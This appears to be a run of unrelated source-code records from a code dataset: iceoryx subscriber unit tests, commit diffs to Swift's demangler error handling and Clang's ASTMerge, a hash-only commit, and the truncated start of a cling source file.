128;\n\n Allocator m_memoryAllocator{m_memory, MEMORY_SIZE};\n MePooConfig m_mempoolconf;\n MemoryManager m_memoryManager;\n\n iox::cxx::GenericRAII m_uniqueRouDiId{[] { iox::popo::internal::setUniqueRouDiId(0); },\n [] { iox::popo::internal::unsetUniqueRouDiId(); }};\n iox::popo::SubscriberPortData m_portPtr{\n TEST_SERVICE_DESCRIPTION, \"myApp\", iox::cxx::VariantQueueTypes::SoFi_SingleProducerSingleConsumer};\n ChunkQueuePusher<SubscriberPortData::ChunkQueueData_t> m_chunkPusher{&m_portPtr.m_chunkReceiverData};\n std::unique_ptr<cpp2c_Subscriber> m_subscriber{new cpp2c_Subscriber};\n iox_sub_t m_sut = m_subscriber.get();\n\n ConditionVariableData m_condVar;\n std::unique_ptr<WaitSetMock> m_waitSet{new WaitSetMock(&m_condVar)};\n};\n\niox_sub_t iox_sub_test::m_triggerCallbackLatestArgument = nullptr;\n\nTEST_F(iox_sub_test, initialStateNotSubscribed)\n{\n EXPECT_EQ(iox_sub_get_subscription_state(m_sut), SubscribeState_NOT_SUBSCRIBED);\n}\n\nTEST_F(iox_sub_test, offerLeadsToSubscibeRequestedState)\n{\n uint64_t queueCapacity = 1u;\n iox_sub_subscribe(m_sut, queueCapacity);\n\n SubscriberPortSingleProducer(&m_portPtr).tryGetCaProMessage();\n\n EXPECT_EQ(iox_sub_get_subscription_state(m_sut), SubscribeState_SUBSCRIBE_REQUESTED);\n}\n\nTEST_F(iox_sub_test, NACKResponseLeadsToSubscribeWaitForOfferState)\n{\n uint64_t queueCapacity = 1u;\n iox_sub_subscribe(m_sut, queueCapacity);\n\n SubscriberPortSingleProducer(&m_portPtr).tryGetCaProMessage();\n iox::capro::CaproMessage caproMessage(iox::capro::CaproMessageType::NACK, TEST_SERVICE_DESCRIPTION);\n SubscriberPortSingleProducer(&m_portPtr).dispatchCaProMessageAndGetPossibleResponse(caproMessage);\n\n EXPECT_EQ(iox_sub_get_subscription_state(m_sut), SubscribeState_WAIT_FOR_OFFER);\n}\n\nTEST_F(iox_sub_test, ACKResponseLeadsToSubscribedState)\n{\n uint64_t queueCapacity = 1u;\n iox_sub_subscribe(m_sut, queueCapacity);\n\n SubscriberPortSingleProducer(&m_portPtr).tryGetCaProMessage();\n iox::capro::CaproMessage caproMessage(iox::capro::CaproMessageType::ACK, TEST_SERVICE_DESCRIPTION);\n SubscriberPortSingleProducer(&m_portPtr).dispatchCaProMessageAndGetPossibleResponse(caproMessage);\n\n EXPECT_EQ(iox_sub_get_subscription_state(m_sut), SubscribeState_SUBSCRIBED);\n}\n\nTEST_F(iox_sub_test, UnsubscribeLeadsToUnscribeRequestedState)\n{\n uint64_t queueCapacity = 1u;\n iox_sub_subscribe(m_sut, queueCapacity);\n\n SubscriberPortSingleProducer(&m_portPtr).tryGetCaProMessage();\n iox::capro::CaproMessage caproMessage(iox::capro::CaproMessageType::ACK, TEST_SERVICE_DESCRIPTION);\n SubscriberPortSingleProducer(&m_portPtr).dispatchCaProMessageAndGetPossibleResponse(caproMessage);\n\n iox_sub_unsubscribe(m_sut);\n\n SubscriberPortSingleProducer(&m_portPtr).tryGetCaProMessage();\n\n EXPECT_EQ(iox_sub_get_subscription_state(m_sut), SubscribeState_UNSUBSCRIBE_REQUESTED);\n}\n\nTEST_F(iox_sub_test, initialStateNoChunksAvailable)\n{\n const void* chunk = nullptr;\n EXPECT_EQ(iox_sub_get_chunk(m_sut, &chunk), ChunkReceiveResult_NO_CHUNK_RECEIVED);\n}\n\nTEST_F(iox_sub_test, receiveChunkWhenThereIsOne)\n{\n this->Subscribe(&m_portPtr);\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n\n const void* chunk = nullptr;\n EXPECT_EQ(iox_sub_get_chunk(m_sut, &chunk), ChunkReceiveResult_SUCCESS);\n}\n\nTEST_F(iox_sub_test, receiveChunkWithContent)\n{\n this->Subscribe(&m_portPtr);\n struct data_t\n {\n int value;\n };\n\n auto sharedChunk = m_memoryManager.getChunk(100);\n static_cast<data_t*>(sharedChunk.getPayload())->value = 1234;\n m_chunkPusher.tryPush(sharedChunk);\n\n const void* chunk = nullptr;\n\n ASSERT_EQ(iox_sub_get_chunk(m_sut, &chunk), ChunkReceiveResult_SUCCESS);\n EXPECT_THAT(static_cast<const data_t*>(chunk)->value, Eq(1234));\n}\n\nTEST_F(iox_sub_test, receiveChunkWhenToManyChunksAreHold)\n{\n this->Subscribe(&m_portPtr);\n const void* chunk = nullptr;\n for (uint64_t i = 0; i < MAX_CHUNKS_HELD_PER_SUBSCRIBER_SIMULTANEOUSLY + 1; ++i)\n {\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n iox_sub_get_chunk(m_sut, &chunk);\n }\n\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n EXPECT_EQ(iox_sub_get_chunk(m_sut, &chunk), ChunkReceiveResult_TOO_MANY_CHUNKS_HELD_IN_PARALLEL);\n}\n\nTEST_F(iox_sub_test, releaseChunkWorks)\n{\n this->Subscribe(&m_portPtr);\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n\n const void* chunk = nullptr;\n iox_sub_get_chunk(m_sut, &chunk);\n\n EXPECT_THAT(m_memoryManager.getMemPoolInfo(0).m_usedChunks, Eq(1u));\n iox_sub_release_chunk(m_sut, chunk);\n EXPECT_THAT(m_memoryManager.getMemPoolInfo(0).m_usedChunks, Eq(0u));\n}\n\nTEST_F(iox_sub_test, releaseChunkQueuedChunksWorks)\n{\n this->Subscribe(&m_portPtr);\n for (uint64_t i = 0; i < MAX_CHUNKS_HELD_PER_SUBSCRIBER_SIMULTANEOUSLY; ++i)\n {\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n }\n\n EXPECT_THAT(m_memoryManager.getMemPoolInfo(0).m_usedChunks, Eq(MAX_CHUNKS_HELD_PER_SUBSCRIBER_SIMULTANEOUSLY));\n iox_sub_release_queued_chunks(m_sut);\n EXPECT_THAT(m_memoryManager.getMemPoolInfo(0).m_usedChunks, Eq(0u));\n}\n\nTEST_F(iox_sub_test, initialStateHasNewChunksFalse)\n{\n EXPECT_FALSE(iox_sub_has_new_chunks(m_sut));\n}\n\nTEST_F(iox_sub_test, receivingChunkLeadsToHasNewChunksTrue)\n{\n this->Subscribe(&m_portPtr);\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n\n EXPECT_TRUE(iox_sub_has_new_chunks(m_sut));\n}\n\nTEST_F(iox_sub_test, initialStateHasNoLostChunks)\n{\n EXPECT_FALSE(iox_sub_has_lost_chunks(m_sut));\n}\n\nTEST_F(iox_sub_test, sendingTooMuchLeadsToLostChunks)\n{\n this->Subscribe(&m_portPtr);\n for (uint64_t i = 0; i < DefaultChunkQueueConfig::MAX_QUEUE_CAPACITY + 1; ++i)\n {\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n }\n\n EXPECT_TRUE(iox_sub_has_lost_chunks(m_sut));\n}\n\nTEST_F(iox_sub_test, attachingToWaitSetWorks)\n{\n EXPECT_EQ(iox_sub_attach_to_waitset(m_sut, m_waitSet.get(), SubscriberEvent_HAS_NEW_SAMPLES, 0, NULL),\n WaitSetResult_SUCCESS);\n EXPECT_EQ(m_waitSet->size(), 1U);\n}\n\nTEST_F(iox_sub_test, attachingToAnotherWaitsetCleansupAtOriginalWaitset)\n{\n WaitSetMock m_waitSet2{&m_condVar};\n iox_sub_attach_to_waitset(m_sut, m_waitSet.get(), SubscriberEvent_HAS_NEW_SAMPLES, 0, NULL);\n\n EXPECT_EQ(iox_sub_attach_to_waitset(m_sut, &m_waitSet2, SubscriberEvent_HAS_NEW_SAMPLES, 0, NULL),\n WaitSetResult_SUCCESS);\n EXPECT_EQ(m_waitSet->size(), 0U);\n EXPECT_EQ(m_waitSet2.size(), 1U);\n}\n\nTEST_F(iox_sub_test, detachingFromWaitSetWorks)\n{\n iox_sub_attach_to_waitset(m_sut, m_waitSet.get(), SubscriberEvent_HAS_NEW_SAMPLES, 0, NULL);\n iox_sub_detach_event(m_sut, SubscriberEvent_HAS_NEW_SAMPLES);\n EXPECT_EQ(m_waitSet->size(), 0U);\n}\n\nTEST_F(iox_sub_test, hasNewSamplesTriggersWaitSetWithCorrectTriggerId)\n{\n iox_sub_attach_to_waitset(m_sut, m_waitSet.get(), SubscriberEvent_HAS_NEW_SAMPLES, 587, NULL);\n this->Subscribe(&m_portPtr);\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n\n auto triggerVector = m_waitSet->wait();\n\n ASSERT_EQ(triggerVector.size(), 1U);\n EXPECT_EQ(triggerVector[0].getTriggerId(), 587U);\n}\n\nTEST_F(iox_sub_test, hasNewSamplesTriggersWaitSetWithCorrectCallback)\n{\n iox_sub_attach_to_waitset(\n m_sut, m_waitSet.get(), SubscriberEvent_HAS_NEW_SAMPLES, 0, iox_sub_test::triggerCallback);\n this->Subscribe(&m_portPtr);\n m_chunkPusher.tryPush(m_memoryManager.getChunk(100));\n\n auto triggerVector = m_waitSet->wait();\n\n ASSERT_EQ(triggerVector.size(), 1U);\n triggerVector[0]();\n EXPECT_EQ(m_triggerCallbackLatestArgument, m_sut);\n}\n\nTEST_F(iox_sub_test, deinitSubscriberDetachesTriggerFromWaitSet)\n{\n \/\/ malloc is used since iox_sub_deinit calls the d'tor of cpp2c_Subscriber\n auto subscriber = new (malloc(sizeof(cpp2c_Subscriber))) cpp2c_Subscriber();\n subscriber->m_portData = &m_portPtr;\n\n iox_sub_attach_to_waitset(\n subscriber, m_waitSet.get(), SubscriberEvent_HAS_NEW_SAMPLES, 0, iox_sub_test::triggerCallback);\n\n iox_sub_deinit(subscriber);\n\n EXPECT_EQ(m_waitSet->size(), 0U);\n\n free(subscriber);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===--- Errors.cpp - Demangling library error handling ---------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2022 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Provides the demangling library with its own error handling functions.\n\/\/ This is necessary because it isn't always linked with the runtime, so\n\/\/ it can't use the runtime's error handling.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"swift\/Demangling\/Errors.h\"\n#include <inttypes.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#if defined(_WIN32)\n#include <io.h>\n#endif\n\n#if SWIFT_STDLIB_HAS_ASL\n#include <asl.h>\n#elif defined(__ANDROID__)\n#include <android\/log.h>\n#endif\n\n#if SWIFT_HAVE_CRASHREPORTERCLIENT\n#include <atomic>\n#include <malloc\/malloc.h>\n\n#include \"swift\/Runtime\/Atomic.h\"\n\n#include \"CrashReporter.h\"\n#endif \/\/ SWIFT_HAVE_CRASHREPORTERCLIENT\n\n\/\/ -- Declarations -----------------------------------------------------------\n\nstatic SWIFT_NORETURN void demangleFatal(uint32_t flags, const char *format,\n va_list val);\nstatic void demangleWarn(uint32_t flags, const char *format, va_list val);\n\nstatic int demangle_vasprintf(char **strp, const char *format, va_list val);\n\n#if SWIFT_HAVE_CRASHREPORTERCLIENT\nstatic int demangle_asprintf(char **strp, const char *format, ...);\n#endif\n\n\/\/ -- Crash reporter integration ---------------------------------------------\n\n\/\/ Report a message to any forthcoming crash log.\nstatic void reportOnCrash(uint32_t flags, const char *message) {\n#if SWIFT_HAVE_CRASHREPORTERCLIENT\n char *oldMessage = nullptr;\n char *newMessage = nullptr;\n\n oldMessage = std::atomic_load_explicit(\n (volatile std::atomic<char *> *)&gCRAnnotations.message,\n SWIFT_MEMORY_ORDER_CONSUME);\n\n do {\n if (newMessage) {\n free(newMessage);\n newMessage = nullptr;\n }\n\n if (oldMessage) {\n demangle_asprintf(&newMessage, \"%s%s\", oldMessage, message);\n } else {\n newMessage = strdup(message);\n }\n } while (!std::atomic_compare_exchange_strong_explicit(\n (volatile std::atomic<char *> *)&gCRAnnotations.message,\n &oldMessage, newMessage,\n std::memory_order_release,\n SWIFT_MEMORY_ORDER_CONSUME));\n\n if (oldMessage && malloc_size(oldMessage))\n free(oldMessage);\n#else\n \/\/ empty\n#endif \/\/ SWIFT_HAVE_CRASHREPORTERCLIENT\n}\n\n\/\/ -- Utility functions ------------------------------------------------------\n\n\/\/ Report a message to system console and stderr.\nstatic void reportNow(uint32_t flags, const char *message) {\n#if defined(_WIN32)\n#define STDERR_FILENO 2\n _write(STDERR_FILENO, message, strlen(message));\n#else\n fputs(message, stderr);\n fflush(stderr);\n#endif\n#if SWIFT_STDLIB_HAS_ASL\n asl_log(nullptr, nullptr, ASL_LEVEL_ERR, \"%s\", message);\n#elif defined(__ANDROID__)\n __android_log_print(ANDROID_LOG_FATAL, \"SwiftDemangle\", \"%s\", message);\n#endif\n}\n\n\/\/\/ Report a fatal error to system console, stderr, and crash logs.\n\/\/\/ Does not crash by itself.\nstatic void reportError(uint32_t flags, const char *message) {\n reportNow(flags, message);\n reportOnCrash(flags, message);\n}\n\n\/\/\/ Not everything has vasprintf()\nSWIFT_VFORMAT(2)\nstatic int demangle_vasprintf(char **strp, const char *format, va_list args) {\n va_list args_for_len;\n\n va_copy(args_for_len, args);\n int len = vsnprintf(nullptr, 0, format, args_for_len);\n va_end(args_for_len);\n\n *strp = nullptr;\n\n if (len < 0)\n return -1;\n\n size_t bufsiz = len + 1;\n char *buffer = reinterpret_cast<char *>(malloc(bufsiz));\n if (!buffer)\n return -1;\n\n int result = vsnprintf(buffer, bufsiz, format, args);\n if (result < 0) {\n free(buffer);\n return -1;\n }\n\n *strp = buffer;\n return result;\n}\n\n#if SWIFT_HAVE_CRASHREPORTERCLIENT\nSWIFT_FORMAT(2,3)\nstatic int demangle_asprintf(char **strp, const char *format, ...) {\n va_list val;\n\n va_start(val, format);\n int ret = demangle_vasprintf(strp, format, val);\n va_end(val);\n\n return ret;\n}\n#endif \/\/ SWIFT_HAVE_CRASHREPORTERCLIENT\n\n\/\/ -- Implementation ---------------------------------------------------------\n\nstatic SWIFT_NORETURN void demangleFatal(uint32_t flags, const char *format,\n va_list val) {\n char *message;\n\n if (demangle_vasprintf(&message, format, val) < 0) {\n reportError(flags, \"unable to format fatal error message\");\n abort();\n }\n\n reportError(flags, message);\n abort();\n}\n\nstatic void demangleWarn(uint32_t flags, const char *format, va_list val) {\n char *message;\n\n if (demangle_vasprintf(&message, format, val) < 0) {\n reportNow(flags, \"unable to format warning message\");\n return;\n }\n\n reportNow(flags, message);\n free(message);\n}\n\n\/\/ -- Public API -------------------------------------------------------------\n\nnamespace swift {\nnamespace Demangle {\nSWIFT_BEGIN_INLINE_NAMESPACE\n\nSWIFT_NORETURN void fatal(uint32_t flags, const char *format, ...) {\n va_list val;\n\n va_start(val, format);\n fatalv(flags, format, val);\n}\n\nvoid warn(uint32_t flags, const char *format, ...) {\n va_list val;\n\n va_start(val, format);\n warnv(flags, format, val);\n va_end(val);\n}\n\nSWIFT_NORETURN void fatalv(uint32_t flags, const char *format, va_list val) {\n demangleFatal(flags, format, val);\n}\n\nvoid warnv(uint32_t flags, const char *format, va_list val) {\n demangleWarn(flags, format, val);\n}\n\nSWIFT_END_INLINE_NAMESPACE\n} \/\/ end namespace Demangle\n} \/\/ end namespace swift\n<commit_msg>[Demangler] Fix a couple of warnings.<commit_after>\/\/===--- Errors.cpp - Demangling library error handling ---------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2022 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Provides the demangling library with its own error handling functions.\n\/\/ This is necessary because it isn't always linked with the runtime, so\n\/\/ it can't use the runtime's error handling.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"swift\/Demangling\/Errors.h\"\n#include <inttypes.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#if defined(_WIN32)\n#include <io.h>\n#endif\n\n#if SWIFT_STDLIB_HAS_ASL\n#include <asl.h>\n#elif defined(__ANDROID__)\n#include <android\/log.h>\n#endif\n\n#if SWIFT_HAVE_CRASHREPORTERCLIENT\n#include <atomic>\n#include <malloc\/malloc.h>\n\n#include \"swift\/Runtime\/Atomic.h\"\n\n#include \"CrashReporter.h\"\n#endif \/\/ SWIFT_HAVE_CRASHREPORTERCLIENT\n\n\/\/ -- Declarations -----------------------------------------------------------\n\nstatic SWIFT_NORETURN void demangleFatal(uint32_t flags, const char *format,\n va_list val);\nstatic void demangleWarn(uint32_t flags, const char *format, va_list val);\n\nstatic int demangle_vasprintf(char **strp, const char *format, va_list val);\n\n#if SWIFT_HAVE_CRASHREPORTERCLIENT\nstatic int demangle_asprintf(char **strp, const char *format, ...);\n#endif\n\n\/\/ -- Crash reporter integration ---------------------------------------------\n\n\/\/ Report a message to any forthcoming crash log.\nstatic void reportOnCrash(uint32_t flags, const char *message) {\n#if SWIFT_HAVE_CRASHREPORTERCLIENT\n char *oldMessage = nullptr;\n char *newMessage = nullptr;\n\n oldMessage = std::atomic_load_explicit(\n (volatile std::atomic<char *> *)&gCRAnnotations.message,\n SWIFT_MEMORY_ORDER_CONSUME);\n\n do {\n if (newMessage) {\n free(newMessage);\n newMessage = nullptr;\n }\n\n if (oldMessage) {\n demangle_asprintf(&newMessage, \"%s%s\", oldMessage, message);\n } else {\n newMessage = strdup(message);\n }\n } while (!std::atomic_compare_exchange_strong_explicit(\n (volatile std::atomic<char *> *)&gCRAnnotations.message,\n &oldMessage, newMessage,\n std::memory_order_release,\n SWIFT_MEMORY_ORDER_CONSUME));\n\n if (oldMessage && malloc_size(oldMessage))\n free(oldMessage);\n#else\n \/\/ empty\n#endif \/\/ SWIFT_HAVE_CRASHREPORTERCLIENT\n}\n\n\/\/ -- Utility functions ------------------------------------------------------\n\n\/\/ Report a message to system console and stderr.\nstatic void reportNow(uint32_t flags, const char *message) {\n#if defined(_WIN32)\n#define STDERR_FILENO 2\n _write(STDERR_FILENO, message, strlen(message));\n#else\n fputs(message, stderr);\n fflush(stderr);\n#endif\n#if SWIFT_STDLIB_HAS_ASL\n asl_log(nullptr, nullptr, ASL_LEVEL_ERR, \"%s\", message);\n#elif defined(__ANDROID__)\n __android_log_print(ANDROID_LOG_FATAL, \"SwiftDemangle\", \"%s\", message);\n#endif\n}\n\n\/\/\/ Report a fatal error to system console, stderr, and crash logs.\n\/\/\/ Does not crash by itself.\nstatic void reportError(uint32_t flags, const char *message) {\n reportNow(flags, message);\n reportOnCrash(flags, message);\n}\n\n\/\/\/ Not everything has vasprintf()\nSWIFT_VFORMAT(2)\nstatic int demangle_vasprintf(char **strp, const char *format, va_list args) {\n va_list args_for_len;\n\n va_copy(args_for_len, args);\n int len = vsnprintf(nullptr, 0, format, args_for_len);\n va_end(args_for_len);\n\n *strp = nullptr;\n\n if (len < 0)\n return -1;\n\n size_t bufsiz = len + 1;\n char *buffer = reinterpret_cast<char *>(malloc(bufsiz));\n if (!buffer)\n return -1;\n\n int result = vsnprintf(buffer, bufsiz, format, args);\n if (result < 0) {\n free(buffer);\n return -1;\n }\n\n *strp = buffer;\n return result;\n}\n\n#if SWIFT_HAVE_CRASHREPORTERCLIENT\nSWIFT_FORMAT(2,3)\nstatic int demangle_asprintf(char **strp, const char *format, ...) {\n va_list val;\n\n va_start(val, format);\n int ret = demangle_vasprintf(strp, format, val);\n va_end(val);\n\n return ret;\n}\n#endif \/\/ SWIFT_HAVE_CRASHREPORTERCLIENT\n\n\/\/ -- Implementation ---------------------------------------------------------\n\nSWIFT_VFORMAT(2)\nstatic SWIFT_NORETURN void demangleFatal(uint32_t flags, const char *format,\n va_list val) {\n char *message;\n\n if (demangle_vasprintf(&message, format, val) < 0) {\n reportError(flags, \"unable to format fatal error message\");\n abort();\n }\n\n reportError(flags, message);\n abort();\n}\n\nSWIFT_VFORMAT(2)\nstatic void demangleWarn(uint32_t flags, const char *format, va_list val) {\n char *message;\n\n if (demangle_vasprintf(&message, format, val) < 0) {\n reportNow(flags, \"unable to format warning message\");\n return;\n }\n\n reportNow(flags, message);\n free(message);\n}\n\n\/\/ -- Public API -------------------------------------------------------------\n\nnamespace swift {\nnamespace Demangle {\nSWIFT_BEGIN_INLINE_NAMESPACE\n\nSWIFT_FORMAT(2, 3)\nSWIFT_NORETURN void fatal(uint32_t flags, const char *format, ...) {\n va_list val;\n\n va_start(val, format);\n fatalv(flags, format, val);\n}\n\nSWIFT_FORMAT(2, 3)\nvoid warn(uint32_t flags, const char *format, ...) {\n va_list val;\n\n va_start(val, format);\n warnv(flags, format, val);\n va_end(val);\n}\n\nSWIFT_VFORMAT(2)\nSWIFT_NORETURN void fatalv(uint32_t flags, const char *format, va_list val) {\n demangleFatal(flags, format, val);\n}\n\nSWIFT_VFORMAT(2)\nvoid warnv(uint32_t flags, const char *format, va_list val) {\n demangleWarn(flags, format, val);\n}\n\nSWIFT_END_INLINE_NAMESPACE\n} \/\/ end namespace Demangle\n} \/\/ end namespace swift\n<|endoftext|>"} {"text":"<commit_before>\/\/===-- ASTMerge.cpp - AST Merging Frontent Action --------------*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#include \"clang\/Frontend\/ASTUnit.h\"\n#include \"clang\/Frontend\/CompilerInstance.h\"\n#include \"clang\/Frontend\/FrontendActions.h\"\n#include \"clang\/AST\/ASTContext.h\"\n#include \"clang\/AST\/ASTDiagnostic.h\"\n#include \"clang\/AST\/ASTImporter.h\"\n\nusing namespace clang;\n\nASTConsumer *ASTMergeAction::CreateASTConsumer(CompilerInstance &CI,\n llvm::StringRef InFile) {\n return AdaptedAction->CreateASTConsumer(CI, InFile);\n}\n\nbool ASTMergeAction::BeginSourceFileAction(CompilerInstance &CI,\n llvm::StringRef Filename) {\n \/\/ FIXME: This is a hack. We need a better way to communicate the\n \/\/ AST file, compiler instance, and file name than member variables\n \/\/ of FrontendAction.\n AdaptedAction->setCurrentFile(getCurrentFile(), takeCurrentASTUnit());\n AdaptedAction->setCompilerInstance(&CI);\n return AdaptedAction->BeginSourceFileAction(CI, Filename);\n}\n\nvoid ASTMergeAction::ExecuteAction() {\n CompilerInstance &CI = getCompilerInstance();\n CI.getDiagnostics().getClient()->BeginSourceFile(\n CI.getASTContext().getLangOptions());\n CI.getDiagnostics().SetArgToStringFn(&FormatASTNodeDiagnosticArgument,\n &CI.getASTContext());\n for (unsigned I = 0, N = ASTFiles.size(); I != N; ++I) {\n ASTUnit *Unit = ASTUnit::LoadFromPCHFile(ASTFiles[I], CI.getDiagnostics(),\n false, true);\n if (!Unit)\n continue;\n\n ASTImporter Importer(CI.getDiagnostics(),\n CI.getASTContext(), \n CI.getFileManager(),\n Unit->getASTContext(), \n Unit->getFileManager());\n\n TranslationUnitDecl *TU = Unit->getASTContext().getTranslationUnitDecl();\n for (DeclContext::decl_iterator D = TU->decls_begin(), \n DEnd = TU->decls_end();\n D != DEnd; ++D) {\n \/\/ FIXME: We only merge variables whose names start with x and functions\n \/\/ whose names start with 'f'. Why would anyone want anything else?\n if (VarDecl *VD = dyn_cast<VarDecl>(*D)) {\n if (VD->getIdentifier() && \n *VD->getIdentifier()->getNameStart() == 'x') {\n Decl *Merged = Importer.Import(VD);\n (void)Merged;\n }\n } else if (FunctionDecl *FD = dyn_cast<FunctionDecl>(*D)) {\n if (FD->getIdentifier() &&\n *FD->getIdentifier()->getNameStart() == 'f') {\n Decl *Merged = Importer.Import(FD);\n (void)Merged;\n }\n }\n }\n\n delete Unit;\n }\n\n AdaptedAction->ExecuteAction();\n CI.getDiagnostics().getClient()->EndSourceFile();\n}\n\nvoid ASTMergeAction::EndSourceFileAction() {\n return AdaptedAction->EndSourceFileAction();\n}\n\nASTMergeAction::ASTMergeAction(FrontendAction *AdaptedAction,\n std::string *ASTFiles, unsigned NumASTFiles)\n : AdaptedAction(AdaptedAction), ASTFiles(ASTFiles, ASTFiles + NumASTFiles) {\n assert(AdaptedAction && \"ASTMergeAction needs an action to adapt\");\n}\n\nASTMergeAction::~ASTMergeAction() { \n delete AdaptedAction;\n}\n\nbool ASTMergeAction::usesPreprocessorOnly() const {\n return AdaptedAction->usesPreprocessorOnly();\n}\n\nbool ASTMergeAction::usesCompleteTranslationUnit() {\n return AdaptedAction->usesCompleteTranslationUnit();\n}\n\nbool ASTMergeAction::hasPCHSupport() const {\n return AdaptedAction->hasPCHSupport();\n}\n\nbool ASTMergeAction::hasASTSupport() const {\n return AdaptedAction->hasASTSupport();\n}\n\nbool ASTMergeAction::hasCodeCompletionSupport() const {\n return AdaptedAction->hasCodeCompletionSupport();\n}\n<commit_msg>Tell ASTMerge to merge every declaration it sees, rather than cherry-picking those declarations that we know will work.<commit_after>\/\/===-- ASTMerge.cpp - AST Merging Frontent Action --------------*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#include \"clang\/Frontend\/ASTUnit.h\"\n#include \"clang\/Frontend\/CompilerInstance.h\"\n#include \"clang\/Frontend\/FrontendActions.h\"\n#include \"clang\/AST\/ASTContext.h\"\n#include \"clang\/AST\/ASTDiagnostic.h\"\n#include \"clang\/AST\/ASTImporter.h\"\n\nusing namespace clang;\n\nASTConsumer *ASTMergeAction::CreateASTConsumer(CompilerInstance &CI,\n llvm::StringRef InFile) {\n return AdaptedAction->CreateASTConsumer(CI, InFile);\n}\n\nbool ASTMergeAction::BeginSourceFileAction(CompilerInstance &CI,\n llvm::StringRef Filename) {\n \/\/ FIXME: This is a hack. We need a better way to communicate the\n \/\/ AST file, compiler instance, and file name than member variables\n \/\/ of FrontendAction.\n AdaptedAction->setCurrentFile(getCurrentFile(), takeCurrentASTUnit());\n AdaptedAction->setCompilerInstance(&CI);\n return AdaptedAction->BeginSourceFileAction(CI, Filename);\n}\n\nvoid ASTMergeAction::ExecuteAction() {\n CompilerInstance &CI = getCompilerInstance();\n CI.getDiagnostics().getClient()->BeginSourceFile(\n CI.getASTContext().getLangOptions());\n CI.getDiagnostics().SetArgToStringFn(&FormatASTNodeDiagnosticArgument,\n &CI.getASTContext());\n for (unsigned I = 0, N = ASTFiles.size(); I != N; ++I) {\n ASTUnit *Unit = ASTUnit::LoadFromPCHFile(ASTFiles[I], CI.getDiagnostics(),\n false, true);\n if (!Unit)\n continue;\n\n ASTImporter Importer(CI.getDiagnostics(),\n CI.getASTContext(), \n CI.getFileManager(),\n Unit->getASTContext(), \n Unit->getFileManager());\n\n TranslationUnitDecl *TU = Unit->getASTContext().getTranslationUnitDecl();\n for (DeclContext::decl_iterator D = TU->decls_begin(), \n DEnd = TU->decls_end();\n D != DEnd; ++D) {\n Importer.Import(*D);\n }\n\n delete Unit;\n }\n\n AdaptedAction->ExecuteAction();\n CI.getDiagnostics().getClient()->EndSourceFile();\n}\n\nvoid ASTMergeAction::EndSourceFileAction() {\n return AdaptedAction->EndSourceFileAction();\n}\n\nASTMergeAction::ASTMergeAction(FrontendAction *AdaptedAction,\n std::string *ASTFiles, unsigned NumASTFiles)\n : AdaptedAction(AdaptedAction), ASTFiles(ASTFiles, ASTFiles + NumASTFiles) {\n assert(AdaptedAction && \"ASTMergeAction needs an action to adapt\");\n}\n\nASTMergeAction::~ASTMergeAction() { \n delete AdaptedAction;\n}\n\nbool ASTMergeAction::usesPreprocessorOnly() const {\n return AdaptedAction->usesPreprocessorOnly();\n}\n\nbool ASTMergeAction::usesCompleteTranslationUnit() {\n return AdaptedAction->usesCompleteTranslationUnit();\n}\n\nbool ASTMergeAction::hasPCHSupport() const {\n return AdaptedAction->hasPCHSupport();\n}\n\nbool ASTMergeAction::hasASTSupport() const {\n return AdaptedAction->hasASTSupport();\n}\n\nbool ASTMergeAction::hasCodeCompletionSupport() const {\n return AdaptedAction->hasCodeCompletionSupport();\n}\n<|endoftext|>"} {"text":"<commit_before>a544d9a8-2e4f-11e5-97c6-28cfe91dbc4b<commit_msg>a54cd580-2e4f-11e5-853d-28cfe91dbc4b<commit_after>a54cd580-2e4f-11e5-853d-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>\/\/------------------------------------------------------------------------------\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author: Axel Naumann <axel@cern.ch>\n\/\/\n\/\/ This file is dual-licensed: you can choose to license it under the University\n\/\/ of Illinois Open Source License or the GNU Lesser General Public License. See\n\/\/ LICENSE.TXT for details.\n\/\/------------------------------------------------------------------------------\n\n#include \"cling\/Interpreter\/Value.h\"\n\n#include \"cling\/Interpreter\/Interpreter.h\"\n#include \"cling\/Interpreter\/Transaction.h\"\n#include \"cling\/Interpreter\/ValuePrinter.h\"\n#include \"cling\/Utils\/AST.h\"\n\n#include \"clang\/AST\/ASTContext.h\"\n#include \"clang\/AST\/CanonicalType.h\"\n#include 